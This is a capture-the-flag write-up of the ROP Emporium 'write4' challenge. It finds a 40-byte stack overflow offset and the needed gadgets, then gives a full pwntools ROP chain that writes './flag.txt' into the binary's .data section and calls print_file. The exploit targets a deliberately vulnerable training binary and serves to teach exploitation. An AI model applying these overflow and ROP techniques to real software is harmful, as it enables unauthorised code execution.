# [write4 rop challenge](https://ropemporium.com/challenge/write4.html)
###### tags: `wargame` `2022` `rop` `ROP Emporium` `pwn`
{%hackmd theme-dark %}
# PWN
Goal:
- Manipulate writeable address and with rop we can read any file.
Key points:
- Where to write? (e.g., The address should be writable and will not change during runtime to be a filename)
- What to write? (e.g., What filename do we desire? How to concatenate the strings?)
- How to make a ROP chain? (e.g., What gadget to find? In this challenge, `rdi` only consumes pointer, so how to pass the pointer to `rdi`?)
My first thought:
- Make a symlink that points to the `nonexistent -> flag.txt,` so we can get the flag easily (it will work just by calling the usefulFunction). But it turns out that it will only work locally, and if we want to solve the pwn challenge remotely, we stand no chance of changing the server's environment.
## Description
<details>
<summary>Challenge Hint</summary>
:::info
**Read/Write**
Hopefully, you've realised that ROP is just a form of arbitrary code execution and if we get creative, we can leverage it to do things like write to or read from memory. The question we need to answer is: what mechanism are we going to use to solve this problem? Is there any built-in functionality to do the writing or do we need to use gadgets? In this challenge, we won't be using built-in functionality since that's too similar to the previous challenges, instead we'll be looking for gadgets that let us write a value to memory such as **mov [reg], reg**.
**What/Where**
Perhaps the most important thing to consider in this challenge is where we're going to write our **"flag.txt"** string. Use rabin2 or readelf to check out the different sections of this binary and their permissions. Learn a little about ELF sections and their purpose. Consider how much space each section might give you to work with and whether corrupting the information stored at these locations will cause you problems later if you need some kind of stability from this program.
**Decisions, decisions**
Once you've figured out how to write your string into memory and where to write it, go ahead and call **print_file()** with its location as its only argument. You could consider wrapping your write gadgets in helper a function; if you can write a 4 or 8 byte value to a location in memory, you could craft a function (e.g. in Python using pwntools) that takes a string and a memory location and returns a ROP chain that will write that string to your chosen location. Crafting templates like this will make your life much easier in the long run. As ever, with the MIPS challenge, don't forget about the branch delay slot.
:::
</details>
## Let's download the binary!
<details>
<summary>unzip</summary>
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ unzip -l write4.zip
Archive: write4.zip
Length Date Time Name
--------- ---------- ----- ----
8384 2020-07-08 07:19 write4
8392 2020-07-08 07:19 libwrite4.so
33 2020-07-03 02:28 flag.txt
--------- -------
16809 3 files
```
</details>
We got three files from the `write4.zip.`
<details>
<summary>ldd</summary>
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ldd write4
linux-vdso.so.1 (0x00007ffd40583000)
libwrite4.so => ./libwrite4.so (0x00007faba2c09000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faba2a01000)
/lib64/ld-linux-x86-64.so.2 (0x00007faba2e0d000)
```
</details>
`write4` is the primary binary.
`libwrite4.so` is the library `write4.`(we can find it out with `ldd`)
`flag.txt` is our target filename.
## Static Analysis (with IDA Pro)
First take a look at main function:
```c=
.text:0000000000400607 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400607 public main
.text:0000000000400607 main proc near
.text:0000000000400607 55 push rbp
.text:0000000000400608 48 89 E5 mov rbp, rsp
.text:000000000040060B E8 F0 FE FF FF call _pwnme
.text:0000000000400610 B8 00 00 00 00 mov eax, 0
.text:0000000000400615 5D pop rbp
.text:0000000000400616 C3 retn
.text:0000000000400616 main endp
```
<details>
<summary>external function</summary>
```c=
.plt:0000000000400500 ; __int64 __fastcall pwnme(__int64, __int64, __int64)
.plt:0000000000400500 _pwnme proc near
.plt:0000000000400500 FF 25 12 0B 20 00 jmp cs:off_601018
.plt:0000000000400500 _pwnme endp
```
</details>
We can see the main function is calling `_pwnme,` which is an external function in `libwrite4.so.`
<details>
<summary>usefulFunction</summary>
```c=
.text:0000000000400617 usefulFunction proc near
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620 call _print_file
.text:0000000000400625 nop
.text:0000000000400626 pop rbp
.text:0000000000400627 retn
.text:0000000000400627 usefulFunction endp
```
</details>
The binary provides a `usefulFunction` which moves ``"nonexistent"`` to `edi` and calls `_print_file`. We know from calling convention that `edi` will be the first argument for `_print_file` that we can exploit. If we can change `"nonexistent"` to `"./flag.txt"`, we will have a chance to capture the flag!
<details>
<summary>usefulGadgets</summary>
```c=
.text:0000000000400628 usefulGadgets:
.text:0000000000400628 mov [r14], r15
.text:000000000040062B retn
.text:000000000040062B ; ---------------------------------------------------------------------------
.text:000000000040062C align 10h
```
</details>
Although it doesn't show in the list of functions in IDA Pro, we can find it under the `usefulFuntion` in assembly mode. We will use this gadget to pass the pointer of the file name.
## Dynamic Analysis (with GDB)
Purpose: To find the padding before the `return address.`
There are two ways to find the buffer size:
<details>
<summary>1. Use GDB</summary>
```c=
// 1. Create payload
echo $(cyclic 100) > payload
// 2. See from gdb to know where the binary chokes at
gdb ./write4
r < payload
// Tracing buffer size in gdb
0x007fffffffe0a8│+0x0000: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]" ← $rsp
0x007fffffffe0b0│+0x0008: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0x007fffffffe0b8│+0x0010: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0c0│+0x0018: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0c8│+0x0020: "saaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0d0│+0x0028: "uaaavaaawaaaxaaayaaa\n"
0x007fffffffe0d8│+0x0030: "waaaxaaayaaa\n"
0x007fffffffe0e0│+0x0038: 0x00000a61616179 ("yaaa\n"?)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7dc893b <pwnme+145> call 0x7ffff7dc8730 <puts@plt>
0x7ffff7dc8940 <pwnme+150> nop
0x7ffff7dc8941 <pwnme+151> leave
→ 0x7ffff7dc8942 <pwnme+152> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "write4", stopped 0x7ffff7dc8942 in pwnme (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7dc8942 → pwnme()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/8b $rsp
0x7fffffffe0a8: 0x6b 0x61 0x61 0x61 0x6c 0x61 0x61 0x61
// We can see directly from the $rsp and get `kaaa` for the first 4 bytes:
$rsp : 0x007fffffffe0a8 → "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
// 3. Find the offset
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ cyclic -l kaaa
40
```
</details>
Use cyclic to count the offset from `rsp` (don't need any arithmetic) and we can get the padding is `40.`
<details>
<summary>2. Read pwnme() assembly</summary>
```c=
public pwnme
pwnme proc near
s= byte ptr -20h
push rbp
mov rbp, rsp
sub rsp, 20h
mov rax, cs:stdout_ptr
mov rax, [rax]
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
lea rdi, s ; "write4 by ROP Emporium"
call _puts
lea rdi, aX8664 ; "x86_64\n"
call _puts
lea rax, [rbp+s]
mov edx, 20h ; ' ' ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
lea rdi, aGoAheadAndGive ; "Go ahead and give me the input already!"...
call _puts
lea rdi, format ; "> "
mov eax, 0
call _printf
lea rax, [rbp+s]
mov edx, 200h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rdi, aThankYou ; "Thank you!"
call _puts
nop
leave
retn
pwnme endp
```
</details>
Look through the code from IDA Pro (which is more straightforward.)
- From line 32, we know that it puts `rax` (which is the buffer size) to `rsi.` And `rax` comes from line 30, which is `[rbp+s]` and `s` equals `0x20` (from line 4). Thus we know the buffer size is `0x20` bytes.
- Before the return address, there lies a `rbp,` so we have to plus another 8 bytes to `0x20`. Thus, we got `40` bytes.
In both ways, we can conclude that to reach the return address we have to insert `40` bytes padding.
Once we control the `rip`, we can make this binary execute anything we want!
## Exploit
<details>
<summary>Exploit code</summary>
```python=
from pwn import *
context.update(log_level='info')
padding = cyclic_find("kaaa")
data_address = 0x601028
writeable_addr_2 = 0x601030
pop_r14_r15 = 0x400690
r14_deref_r15 = 0x400628
pop_rdi = 0x400693
usefulFunction_adr = 0x400620
p = process("./write4")
# 1 - Fill the padding
padding = "A" * padding
payload = padding.encode()
# 2 - Insert first part of file name
payload += p64(pop_r14_r15)
payload += p64(data_address)
payload += b"./flag.t"
payload += p64(r14_deref_r15)
# 3 - Insert Second part of file name
# Store "./flag.t" to rdi
# Because the "./flag.txt" is too long, and the gadget we get can only move qword at a time (8 byte), so we have to move the string twice
payload += p64(pop_r14_r15)
payload += p64(writeable_addr_2)
payload += b"xt\x00\x00\x00\x00\x00\x00"
# Store the "xt\x00\x00\x00\x00\x00\x00" string to [r14+0x8]
payload += p64(r14_deref_r15)
# 4 - Store "./flag.txt" adderss to rdi
payload += p64(pop_rdi)
payload += p64(data_address)
# 5 - Evoke usefulFunction
payload += p64(usefulFunction_adr)
p.sendline(payload)
p.interactive()
```
</details>
I'll provide some illustrations of finding the address from line 4 to line 9 in the exploit code.
<details>
<summary>1. 0x601028</summary>
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ readelf --section-headers -W ./write4 | grep data
[15] .rodata PROGBITS 00000000004006b0 0006b0 000010 00 A 0 0 4
[23] .data PROGBITS 0000000000601028 001028 000010 00 WA 0 0 8
```
</details>
- The reason that we choose `.data` not `.rodata` is because it's `WA`(writeable and accessible). Thus that's how we get `0x601028.`
2. 0x601030 is calculated by `0x601028 + 0x8`, since the `./flag.txt` (10 bytes) is too long, and the gadget we get can only move qword (8 bytes) at a time, so we have to move the leftover after next 8 bytes.
<details>
<summary>3. Use the usefulGadgets which is mentioned above to get 0x400628 and 0x400690 </summary>
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ropper -f ./write4 | grep r14
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400628: mov qword ptr [r14], r15; ret;
0x0000000000400690: pop r14; pop r15; ret;
```
</details>
- We use `pop r14; pop r15; ret;` to store the pointer and the filename respectively. Besides, `mov qword ptr [r14], r15; ret;` it first dereferences r14 and stores the value from r15 to it.
<details>
<summary>4. 0x400693</summary>
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ropper -f ./write4 | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400693: pop rdi; ret;
```
</details>
- It's the gadget to store the pointer to the filename
<details>
<summary>5. 0x400620</summary>
```c=
.text:0000000000400617 usefulFunction proc near
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620 call _print_file
.text:0000000000400625 nop
.text:0000000000400626 pop rbp
.text:0000000000400627 retn
.text:0000000000400627 usefulFunction endp
```
</details>
- Although usefulFunction starts at `0x400617`, it changes the `rdi` at `0x40061B`, which destroys our plan. Thus we decide to jump from `0x400620` and make it only call `_print_file` without changing `rdi.`
## Get the flag
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ python exploit.py
[+] Starting local process './write4': pid 31741
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
```
Happy ropping!